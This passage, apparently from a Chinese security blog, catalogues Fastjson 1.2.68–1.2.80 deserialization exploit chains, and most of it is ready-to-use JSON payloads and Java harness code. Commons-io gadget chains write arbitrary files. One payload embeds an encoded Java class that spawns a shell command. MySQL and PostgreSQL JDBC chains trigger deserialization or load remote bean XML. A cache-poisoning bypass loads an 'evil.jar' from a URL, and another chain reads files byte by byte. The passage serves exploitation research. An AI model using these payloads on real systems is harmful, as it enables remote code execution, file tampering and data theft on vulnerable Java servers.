Base64.getEncoder().encodeToString(bytesPadding); + String path = "D:/1tmp/111.txt"; + + String format = String.format(json, base64Content, path, Arrays.toString(bytesPadding)); + JSON.parse(format); + } +``` + + + + +### io5 写文件 / 创建目录(io4 换依赖,能写任意大小文件) + + +在 io4 基础上,用 ant 依赖代替 aspectjtools。可以写 8kb 以上二进制;`LockableFileWriter` 还能创建目录。 + +[https://mp.weixin.qq.com/s/WbYi7lPEvFg-vAUB4Nlvew](https://mp.weixin.qq.com/s/WbYi7lPEvFg-vAUB4Nlvew) + +目录创建: + + +```json +{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.output.WriterOutputStream", + "writer":{ + "@type":"org.apache.commons.io.output.LockableFileWriter", + "file":"/etc/passwd", //一个存在的文件 + "encoding":"UTF-8", + "append": true, +"lockDir":"/usr/lib/jvm/java-8-openjdk-amd64/jre/classes" //要创建的目录 + }, + "charset":"UTF-8", + "bufferSize": 8193, + "writeImmediately": true + } +``` + + + +任意文件写入: + + +```java +public static void writeIo5() throws IOException { + String json = "{\n" + + " \"@type\":\"java.lang.AutoCloseable\",\n" + + " \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" + + " \"delegate\":{\n" + + " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" + + " \"input\":{\n" + + " \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" + + " \"in\":{\n" + + " \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" + + " \"charset\":\"utf-8\",\n" + + " \"bufferSize\": 1024,\n" + + " \"cs\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" + + " },\n" + + " \"doEncode\":false,\n" + + " \"lineLength\":1024,\n" + + " \"lineSeparator\":\"5ZWKCg==\",\n" + + " \"decodingPolicy\":0\n" + + " },\n" + + " \"branch\":{\n" + + //" \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" + + //" \"targetPath\":\"%2$s\"\n" + + " \"@type\":\"org.apache.tools.ant.util.LazyFileOutputStream\",\n" + + " \"file\":\"%2$s\",\n" + + " \"append\":false,\n" + + " \"alwaysCreate\":true\n" + + " },\n" + + " \"closeBranch\":false\n" + + " },\n" + + " \"include\":true,\n" + + " \"boms\":[{\n" + + " \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" + + " \"charsetName\": \"UTF-8\",\n" + + " \"bytes\":" +"%3$s\n" + + " }],\n" + + " \"x\":{\"$ref\":\"$.bOM\"}\n" + + "}"; + byte[] bytes = Files.readAllBytes(Paths.get("D:\\flag.txt")); + String content = Base64.getEncoder().encodeToString(bytes); + String path = "D:/1tmp/111.txt"; + String string = Arrays.toString(bytes); + String format = String.format(json, content, path, string); + JSON.parse(format); + } +``` + + + + +### io6 写文件(LockableFileWriter,突破 8kb) + + +浅蓝那条 ognl,以及 xalan + dom4j 组合。后来 GeekCon 上公开了利用 jackson 的 Exception,把 `InputStream` 加进缓存的链: + +[https://www.geekcon.top/js/pdfjs/web/viewer.html?file=/doc/ppt/GC24\_SpringBoot%E4%B9%8B%E6%AE%87.pdf](https://www.geekcon.top/js/pdfjs/web/viewer.html?file=/doc/ppt/GC24_SpringBoot%E4%B9%8B%E6%AE%87.pdf) + +其中用 `LockableFileWriter` 代替 `FileWriterWithEncoding` 的写法,参考文章这边叫它 io6。相比 io1~io4,文件大小不再卡死在 8kb;而且能自动创建目录,很契合打 SpringBoot 环境。 + +```json +{ + "a": { + "@type": "java.io.InputStream", + "@type": "org.apache.commons.io.input.AutoCloseInputStream", + "in": { + "@type": "org.apache.commons.io.input.TeeInputStream", + "input": { + "@type": "org.apache.commons.io.input.CharSequenceInputStream", + "cs": { + "@type": "java.lang.String" + "${shellcode}", + "charset": "iso-8859-1", + "bufferSize": ${size} + }, + "branch": { + "@type": "org.apache.commons.io.output.WriterOutputStream", + "writer": { + "@type": "org.apache.commons.io.output.LockableFileWriter", + "file": "${file2write}", + "charset": "iso-8859-1", + "append": true + }, + "charset": "iso-8859-1", + "bufferSize": 1024, + "writeImmediately": true + }, + "closeBranch": true + } + }, + "b": { + "@type": "java.io.InputStream", + "@type": "org.apache.commons.io.input.ReaderInputStream", + "reader": { + "@type": "org.apache.commons.io.input.XmlStreamReader", + "inputStream": { + "$ref": "$.a" + }, + "httpContentType": "text/xml", + "lenient": false, + "defaultEncoding": "iso-8859-1" + }, + "charsetName": "iso-8859-1", + "bufferSize": 1024 + }, + "c": {} + } + +``` + + +### io7 写文件(有期望类时套 Currency) + + +[https://mp.weixin.qq.com/s/7c\_zi5Pv4a69IV0zzJo5Ww](https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww) + +GeekCon 2024 上 @jsjcw 师傅分享的 commons-io 写二进制链很精彩,但要多次发包。原文作者调试时结合 BlackHat 2021 那条链的逻辑,拼出了一条能写任意长度内容的链;若反序列化点还带着期望类,就再套一层 `java.util.Currency` 去触发 getter——虽然最终会报错,但不影响文件写入。笔者这边把这种写法记作 io7。 + +注意:写二进制时 commons-io 最好 > 2.4。`WriterOutputStream` 的构造方法顺序跟版本强相关,2.4 及以前常会先命中带 `CharsetDecoder` 的构造,这时候要写出 iso-8859-1 二进制就比较别扭。 + + +```json +{ + "dd":{ + "@type":"java.util.Currency", + "val":{ + "currency":{ + "w":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.BOMInputStream", + "delegate":{ + "@type": "org.apache.commons.io.input.AutoCloseInputStream", + "in": { + "@type": "org.apache.commons.io.input.TeeInputStream", + "input": { + "@type": "org.apache.commons.io.input.CharSequenceInputStream", + "cs": { + "@type": "java.lang.String" + "\xff", + "charset": "iso-8859-1", + "bufferSize": 1 + }, + "branch": { + "@type": "org.apache.commons.io.output.WriterOutputStream", + "writer": { + "@type": "org.apache.commons.io.output.LockableFileWriter", + "file": "/tmp/1.jpg", + "encoding": "iso-8859-1", + "charset": "iso-8859-1", + "append": false + }, + "charset":"iso-8859-1", + "charsetName":"iso-8859-1", + "bufferSize": 1024, + "writeImmediately": true + }, + "closeBranch": true + } + }, + "include":true, + "boms":[{ + "@type": "org.apache.commons.io.ByteOrderMark", + "charsetName": "iso-8859-1", + "bytes":[0, 0,0] + }] + } + } + } + } + } +``` + + + + +### ioFinal 写文件(终形态) + + +前面 io1~io7 各有取舍:io1/io2 靠 `XmlStreamReader` 触发、卡 8kb;io6 换成 `LockableFileWriter` 突破大小和建目录,但仍要 `XmlStreamReader`;io7 能写任意长度二进制,有期望类时再套 Currency,但 Currency 那条结果一定报错,没回显细节时很难判断是不是 payload 本身写挂了。 + +ioFinal 相当于把优点收拢一遍,推荐用 java-chains 直接生成: + +1、触发改为 `"$ref":"$.bOM"`,直接打到 `BOMInputStream.getBOM`,不再绕 `XmlStreamReader` 构造 2、输入侧用 `CharSequenceReader` + `ReaderInputStream`,内容用 `\x..` + `iso-8859-1` 塞二进制,比 io7 的 `CharSequenceInputStream` 更好控,也少踩一些 commons-io 版本构造差异 3、写出侧继续 `LockableFileWriter`,并可带 `lockDir` 自动建目录;任意长度,不卡 8kb 4、无期望类的 `parse` 点可直接用,不必套 Currency,也就不会「必报错」干扰判断;若点上确实有期望类,再按前文小技巧套一层 Currency 即可 + + +```json +{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.BOMInputStream", + "delegate":{ + "@type": "org.apache.commons.io.input.AutoCloseInputStream", + "in": { + "@type": "org.apache.commons.io.input.TeeInputStream", + "input": { + "@type": "org.apache.commons.io.input.ReaderInputStream", + "reader": { + "@type": "org.apache.commons.io.input.CharSequenceReader", + "charSequence": { + "@type": "java.lang.String" + "\xca\xfe\xba\xbe\x00\x00\x00\x32\x00\x41\x01\x00\x49\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x62\x65\x61\x6e\x75\x74\x69\x6c\x73\x2f\x63\x6f\x79\x6f\x74\x65\x2f\x75\x74\x69\x6c\x2f\x52\x61\x77\x56\x61\x6c\x75\x65\x39\x38\x35\x32\x36\x34\x39\x66\x39\x36\x35\x62\x34\x35\x31\x66\x62\x38\x63\x39\x38\x66\x36\x35\x30\x62\x36\x30\x65\x31\x34\x34\x07\x00\x01\x01\x00\x10\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x07\x00\x03\x01\x00\x04\x62\x61\x73\x65\x01\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x01\x00\x03\x73\x65\x70\x01\x00\x03\x63\x6d\x64\x01\x00\x06\x3c\x69\x6e\x69\x74\x3e\x01\x00\x03\x28\x29\x56\x01\x00\x13\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x07\x00\x0b\x0c\x00\x09\x00\x0a\x0a\x00\x04\x00\x0d\x01\x00\x07\x6f\x73\x2e\x6e\x61\x6d\x65\x08\x00\x0f\x01\x00\x10\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x79\x73\x74\x65\x6d\x07\x00\x11\x01\x00\x0b\x67\x65\x74\x50\x72\x6f\x70\x65\x72\x74\x79\x01\x00\x26\x28\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x0c\x00\x13\x00\x14\x0a\x00\x12\x00\x15\x01\x00\x10\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x07\x00\x17\x01\x00\x0b\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65\x01\x00\x14\x28\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x0c\x00\x19\x00\x1a\x0a\x00\x18\x00\x1b\x01\x00\x03\x77\x69\x6e\x08\x00\x1d\x01\x00\x08\x63\x6f\x6e\x74\x61\x69\x6e\x73\x01\x00\x1b\x28\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x68\x61\x72\x53\x65\x71\x75\x65\x6e\x63\x65\x3b\x29\x5a\x0c\x00\x1f\x00\x20\x0a\x00\x18\x00\x21\x01\x00\x07\x63\x6d\x64\x2e\x65\x78\x65\x08\x00\x23\x0c\x00\x05\x00\x06\x09\x00\x02\x00\x25\x01\x00\x02\x2f\x63\x08\x00\x27\x0c\x00\x07\x00\x06\x09\x00\x02\x00\x29\x01\x00\x07\x2f\x62\x69\x6e\x2f\x73\x68\x08\x00\x2b\x01\x00\x02\x2d\x63\x08\x00\x2d\x0c\x00\x08\x00\x06\x09\x00\x02\x00\x2f\x01\x00\x18\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63\x65\x73\x73\x42\x75\x69\x6c\x64\x65\x72\x07\x00\x31\x01\x00\x16\x28\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x29\x56\x0c\x00\x09\x00\x33\x0a\x00\x32\x00\x34\x01\x00\x05\x73\x74\x61\x72\x74\x01\x00\x15\x28\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63\x65\x73\x73\x3b\x0c\x00\x36\x00\x37\x0a\x00\x32\x00\x38\x01\x00\x08\x3c\x63\x6c\x69\x6e\x69\x74\x3e\x01\x00\x04\x63\x61\x6c\x63\x08\x00\x3b\x0a\x00\x02\x00\x0d\x01\x00\x04\x43\x6f\x64\x65\x01\x00\x0d\x53\x74\x61\x63\x6b\x4d\x61\x70\x54\x61\x62\x6c\x65\x0a\x00\x0c\x00\x0d\x00\x21\x00\x02\x00\x0c\x00\x00\x00\x03\x00\x09\x00\x05\x00\x06\x00\x00\x00\x09\x00\x07\x00\x06\x00\x00\x00\x09\x00\x08\x00\x06\x00\x00\x00\x02\x00\x01\x00\x09\x00\x0a\x00\x01\x00\x3e\x00\x00\x00\x84\x00\x04\x00\x02\x00\x00\x00\x53\x2a\xb7\x00\x40\x12\x10\xb8\x00\x16\xb6\x00\x1c\x12\x1e\xb6\x00\x22\x99\x00\x10\x12\x24\xb3\x00\x26\x12\x28\xb3\x00\x2a\xa7\x00\x0d\x12\x2c\xb3\x00\x26\x12\x2e\xb3\x00\x2a\x06\xbd\x00\x18\x59\x03\xb2\x00\x26\x53\x59\x04\xb2\x00\x2a\x53\x59\x05\xb2\x00\x30\x53\x4c\xbb\x00\x32\x59\x2b\xb7\x00\x35\xb6\x00\x39\x57\xa7\x00\x04\x4c\xb1\x00\x01\x00\x04\x00\x4e\x00\x51\x00\x0c\x00\x01\x00\x3f\x00\x00\x00\x17\x00\x04\xff\x00\x21\x00\x01\x07\x00\x02\x00\x00\x09\x65\x07\x00\x0c\xfc\x00\x00\x07\x00\x04\x00\x08\x00\x3a\x00\x0a\x00\x01\x00\x3e\x00\x00\x00\x1a\x00\x02\x00\x00\x00\x00\x00\x0e\x12\x3c\xb3\x00\x30\xbb\x00\x02\x59\xb7\x00\x3d\x57\xb1\x00\x00\x00\x00\x00\x00", + }, + "encoder": "iso-8859-1", + "charset": "iso-8859-1", + "charsetName": "iso-8859-1", + "bufferSize": 1 + }, + "branch": { + "@type": "org.apache.commons.io.output.WriterOutputStream", + "writer": { + "@type": "org.apache.commons.io.output.LockableFileWriter", + "file": "D:/1tmp/111.txt", + "charset": "iso-8859-1", + "encoding": "iso-8859-1", + "lockDir": "/tmp/test/", + "append": false + }, + "charset":"iso-8859-1", + "charsetName":"iso-8859-1", + "bufferSize": 1024, + "writeImmediately": true + }, + "closeBranch": true + } + }, + "include":true, + "boms":[{ + "@type": "org.apache.commons.io.ByteOrderMark", + "charsetName": "iso-8859-1", + "bytes":[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] + }], + "x":{"$ref":"$.bOM"} +} +``` + + + + +## MysqlJdbc + + +关键类分析: + +[mysql驱动协议之loadbalance和replication-CSDN博客](https://blog.csdn.net/weixin_33754065/article/details/92072857) + + +### 出网 + + +5.1.1 ~ 5.1.48: + + +```json +{ + "x1": { + "@type": "java.lang.AutoCloseable", + "@type": "com.mysql.jdbc.JDBC4Connection", + "hostToConnectTo": "127.0.0.1", + "portToConnectTo": 3308, + "info": { + "user": "d6e26c4", + "password": "pass", + "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", + "autoDeserialize": "true", + "NUM_HOSTS": "1" + }, + "databaseToConnectTo": "test", + "url": "" + } +} +``` + + + +6.0.2/6.0.3: + + +```json +{ + "x1": { + "@type": "java.lang.AutoCloseable", + "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", + "proxy": { + "connectionString": { + "url": "jdbc:mysql://127.0.0.1:3308/test?user=d6e26c4&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" + } + } + } +} +``` + + + +<=8.0.19: + + +```json +{ + "x1": { + "@type": "java.lang.AutoCloseable", + "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection", + "proxy": { + "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy", + "connectionUrl": { + "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl", + "masters": [ + {} + ], + "slaves": [], + "properties": { + "host": "127.0.0.1", + "port": "3308", + "user": "d6e26c4", + "dbname": "test", + "password": "pass", + "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor", + "autoDeserialize": "true" + } + } + } + } +} +``` + + + +这里看一下 8.0.19 的调用栈: + + +``` +at com.mysql.cj.jdbc.ConnectionImpl.setAutoCommit(ConnectionImpl.java:2005) +................ +at com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy.createConnectionForHost(LoadBalancedConnectionProxy.java:399) +at com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy.createConnectionForHost(LoadBalancedConnectionProxy.java:446) +at com.mysql.cj.jdbc.ha.RandomBalanceStrategy.pickConnection(RandomBalanceStrategy.java:77) +at com.mysql.cj.jdbc.ha.RandomBalanceStrategy.pickConnection(RandomBalanceStrategy.java:44) +at com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy.pickNewConnection(LoadBalancedConnectionProxy.java:345) +at com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy.(LoadBalancedConnectionProxy.java:247) +..................... +at com.alibaba.fastjson.JSON.parse(JSON.java:149) +at vul.MysqlAttack.mysql8(MysqlAttack.java:29) +at vul.Bypass_68.main(Bypass_68.java:10) +``` + +可以看到是从 `LoadBalancedConnectionProxy` 的构造方法里触发的。 + + +### 不出网(结合写文件) + + +MySQL 还有不出网利用:先写 pipe 文件,再本地加载。 + +[https://1diot9.github.io/2025/05/05/mysql-JDBC-%E7%BB%95%E8%BF%87/](https://1diot9.github.io/2025/05/05/mysql-JDBC-绕过/) + +5.1.1~5.1.48: + + +```json +{ + "x1": { + "@type": "java.lang.AutoCloseable", + "@type": "com.mysql.jdbc.JDBC4Connection", + "hostToConnectTo": "127.0.0.1", + "portToConnectTo": 3306, + "info": { + "useSSL": "false", + "user": "mysql", + "HOST": "xxx", + "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", + "autoDeserialize": "true", + "NUM_HOSTS": "1", + "socketFactory": "com.mysql.jdbc.NamedPipeSocketFactory", + "namedPipePath": "/tmp/mysql.pcap", + "DBNAME": "test" + }, + "databaseToConnectTo": "test", + "url": "" + } +} +``` + + + +6.0.2/6.0.3: + + +```json +{ + "x1": { + "@type": "java.lang.AutoCloseable", + "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", + "proxy": { + "connectionString": { + "url": "jdbc:mysql://xxx/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=mysql&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath=/tmp/mysql.pcap" + } + } + } +} +``` + + + +<=8.0.19 + + +```json +{ + "x1": { + "@type": "java.lang.AutoCloseable", + "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection", + "proxy": { + "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy", + "connectionUrl": { + "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl", + "masters": [ + {} + ], + "slaves": [], + "properties": { + "host": "xxx", + "user": "mysql", + "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor", + "autoDeserialize": "true", + "socketFactory": "com.mysql.cj.protocol.NamedPipeSocketFactory", + "path": "/tmp/mysql.pcap", + "maxAllowedPacket": "74996390", + "dbname": "test", + "useSSL": "false" + } + } + } + } +} +``` + + + + +## PostgreSql + + +可以通过 file / http 协议加载 XML,再配合 `ClassPathXmlApplicationContext`。 + +9.4.1208 <= org.postgresql:postgresql < 42.2.25 + +42.3.0 <= org.postgresql:postgresql < 42.3.2 + + +```json +{ + "x1":{ + "@type": "java.lang.AutoCloseable", + "@type": "org.postgresql.jdbc.PgConnection", + "hostSpecs": [ + { + "host": "127.0.0.1", + "port": 2333 + } + ], + "user": "user", + "database": "test", + "info": { + "socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext", + "socketFactoryArg": "http://127.0.0.1:8080/bean.xml" + },url: "" + } +} +``` + + + + + + +# 1.2.80 + + + +## 绕过分析 + +[漏洞篇 - Fastjson 反序列化](https://changeyourway.github.io/2024/09/18/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/) + +[漏洞篇 - Fastjson 1.2.68 - 1.2.80 利用](https://changeyourway.github.io/2025/08/23/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Fastjson%201.2.68-1.2.80%20%E5%88%A9%E7%94%A8/) + +把 `Exception` 当期望类,去找子类。 + +找到子类后,下面这些位置的类型,也可以通过改 JSON 手动塞进缓存,从而继续挖新的可利用类: + +●public 构造方法的参数类型(含其子类) + +●public 字段类型 + +●setter 参数类型(含其子类) + +所以可以一路往下找,直到碰到能用的构造或 setter。 + +一般就是用这种方式,把前面 payload 里用过的类重新加回缓存,再继续打。 + +这里的缓存点和 47 不一样,是 `ParserConfig.getDeserializer` 时的缓存: + + +![](https://i.im.ge/QMVvJ1m/p2m-cb25fc3154.png) + + + + +![](https://i.im.ge/QMVvpHf/p2m-be20e1e821.png) + + + +把类型和反序列化器放进 Map。 + +`checkAutoType` 里很早就取: + + +![](https://i.im.ge/QMVvHA1/p2m-5a8c44ef65.png) + + + +而 Exception 类型的反序列化器 `ThrowableDeserializer`,在 80 版本有这么一行: + + +![](https://i.im.ge/QMVvGX0/p2m-0106518029.png) + + + +这里会解析其他键值对;当 value 和实际字段类型不符时会走 `cast`,于是类里的属性也会进缓存——因为最后同样会调 `config.getDeserializer`,和前面说的一样: + + +![](https://i.im.ge/QMVv4ZW/p2m-64b9579874.png) + + + +看个例子: + + +```json +// 第一次发包 +{ + "@type":"java.lang.Exception", + "@type":"org.codehaus.groovy.control.CompilationFailedException", + "unit":{} +} + +// 第二次发包 +{ + "@type":"org.codehaus.groovy.control.ProcessingUnit", + "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit", + "config":{ + "@type":"org.codehaus.groovy.control.CompilerConfiguration", + "classpathList":"http://127.0.0.1:8090/evil.jar" + } +} +``` + +这里就是把 `CompilationFailedException` 的 `unit` 字段也加进缓存。一般 `"field": {}` 就行,因为 `{}` 是 JSONObject,肯定会走 `cast`。 + + +## 修复分析 + + + +![](https://i.im.ge/QMVvnwr/p2m-b648ce080f.png) + + + +对 Throwable 子类做了判断,把从缓存取出的 clazz 清空。 + + +## jackson+io 读写文件 / 目录 + + +很适合 Spring 环境。 + +缓存 InputStream: + + +```json +{ + { + "@type": "java.lang.Exception", + "@type": "com.fasterxml.jackson.core.exc.InputCoercionException", + "p":{} + }, + { + "@type": "com.fasterxml.jackson.core.JsonParser", + "@type": "com.fasterxml.jackson.core.json.UTF8StreamJsonParser", + "in":{} + } +} +``` + + + +io 链逐字节读文件 / 目录: + +思路和 68 版本 io 读文件一样。 + +[https://github.com/luelueking/CVE-2022-25845-In-Spring](https://github.com/luelueking/CVE-2022-25845-In-Spring) 脚本 + +[https://github.com/kezibei/fastjson\_payload/blob/main/web.py](https://github.com/kezibei/fastjson_payload/blob/main/web.py) 出网脚本 + + +```json +{ + "a": { + "@type": "java.io.InputStream", + "@type": "org.apache.commons.io.input.BOMInputStream", + "delegate": { + "@type": "org.apache.commons.io.input.BOMInputStream", + "delegate": { + "@type": "org.apache.commons.io.input.ReaderInputStream", + "reader": { + "@type": "jdk.nashorn.api.scripting.URLReader", + "url": "${file}" + }, + "charsetName": "UTF-8", + "bufferSize": "1024" + }, + "boms": [ + { + "charsetName": "UTF-8", + "bytes": ${data} + } + ] + }, + "boms": [ + { + "charsetName": "UTF-8", + "bytes": [1] + } + ] + }, + "b": {"$ref":"$.a.delegate"} +} +``` + + + +io 链写文件: + + +```json +{ + "@type":"java.io.InputStream", + "@type":"org.apache.commons.io.input.BOMInputStream", + "delegate":{ + "@type": "org.apache.commons.io.input.AutoCloseInputStream", + "in": { + "@type": "org.apache.commons.io.input.TeeInputStream", + "input": { + "@type": "org.apache.commons.io.input.ReaderInputStream", + "reader": { + "@type": "org.apache.commons.io.input.CharSequenceReader", + "charSequence": { + "@type": "java.lang.String" + "\x66\x6C\x61\x67\x7B\x7B\x7B", + }, + "encoder": "iso-8859-1", + "charset": "iso-8859-1", + "charsetName": "iso-8859-1", + "bufferSize": 1 + }, + "branch": { + "@type": "org.apache.commons.io.output.WriterOutputStream", + "writer": { + "@type": "org.apache.commons.io.output.LockableFileWriter", + "file": "D:/1tmp/111.txt", + "charset": "iso-8859-1", + "encoding": "iso-8859-1", + "lockDir": "/tmp/test/", + "append": false + }, + "charset":"iso-8859-1", + "charsetName":"iso-8859-1", + "bufferSize": 1024, + "writeImmediately": true + }, + "closeBranch": true + } + }, + "include":true, + "boms":[{ + "@type": "org.apache.commons.io.ByteOrderMark", + "charsetName": "iso-8859-1", + "bytes":[0, 0, 0, 0, 